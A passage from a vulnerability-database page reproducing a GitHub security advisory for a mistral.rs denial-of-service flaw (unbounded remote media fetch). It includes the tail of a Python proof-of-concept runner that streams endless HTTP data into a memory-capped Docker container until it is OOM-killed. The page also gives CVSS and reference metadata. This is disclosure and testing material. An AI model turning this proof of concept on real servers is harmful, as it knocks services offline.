False,\n            \"verdict\":  \"INCOMPLETE\",\n            \"exit_code\": None,\n            \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n            \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n            \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n        }\n\n    elapsed    = time.monotonic() - t0\n    exit_code  = result.returncode\n    stdout_txt = result.stdout.decode(errors=\"replace\")\n    stderr_txt = result.stderr.decode(errors=\"replace\")\n\n    server.shutdown()\n\n    # ------------------------------------------------------------------\n    # Step 3: Analyse outcome.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[3] Container exited after {elapsed:.1f}s  exit_code={exit_code}\")\n    _log(f\"    stdout: {stdout_txt!r}\")\n    _log(f\"    stderr: {stderr_txt!r}\")\n\n    # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n    if exit_code == 137:\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n            f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n            f\"{memory_limit} of available RAM \u2014 identical behaviour to \"\n            f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    elif exit_code != 0:\n        # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n            f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n            f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n            f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    else:\n        # Unlikely: the binary finished without being killed.  This can happen if\n        # the server managed to EOF the stream before OOM, or the memory cap was\n        # not enforced by Docker.\n        passed   = False\n        verdict  = \"INCOMPLETE\"\n        evidence = (\n            f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n            f\"enforced by Docker.  stdout={stdout_txt!r}\"\n        )\n\n    _log(f\"\\n[VERDICT]  {verdict}\")\n    _log(f\"[EVIDENCE] {evidence}\")\n\n    return {\n        \"passed\":    passed,\n        \"verdict\":   verdict,\n        \"exit_code\": exit_code,\n        \"evidence\":  evidence,\n        \"stdout\":    stdout_txt,\n        \"stderr\":    stderr_txt,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DOCKER_IMAGE, help=\"Docker image name\")\n    parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n    args = parser.parse_args()\n\n    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n    _log(\"\\n\" + \"=\" * 70)\n    _log(\"RESULT SUMMARY\")\n    _log(\"=\" * 70)\n    for k, v in outcome.items():\n        if k not in (\"stdout\", \"stderr\"):\n            _log(f\"  {k}: {v}\")\n\n    sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-m3wp-48jr-vr4g",
  "modified": "2026-09-10T21:54:37Z",
  "published": "2026-09-10T21:54:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EricLBuehler/mistral.rs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.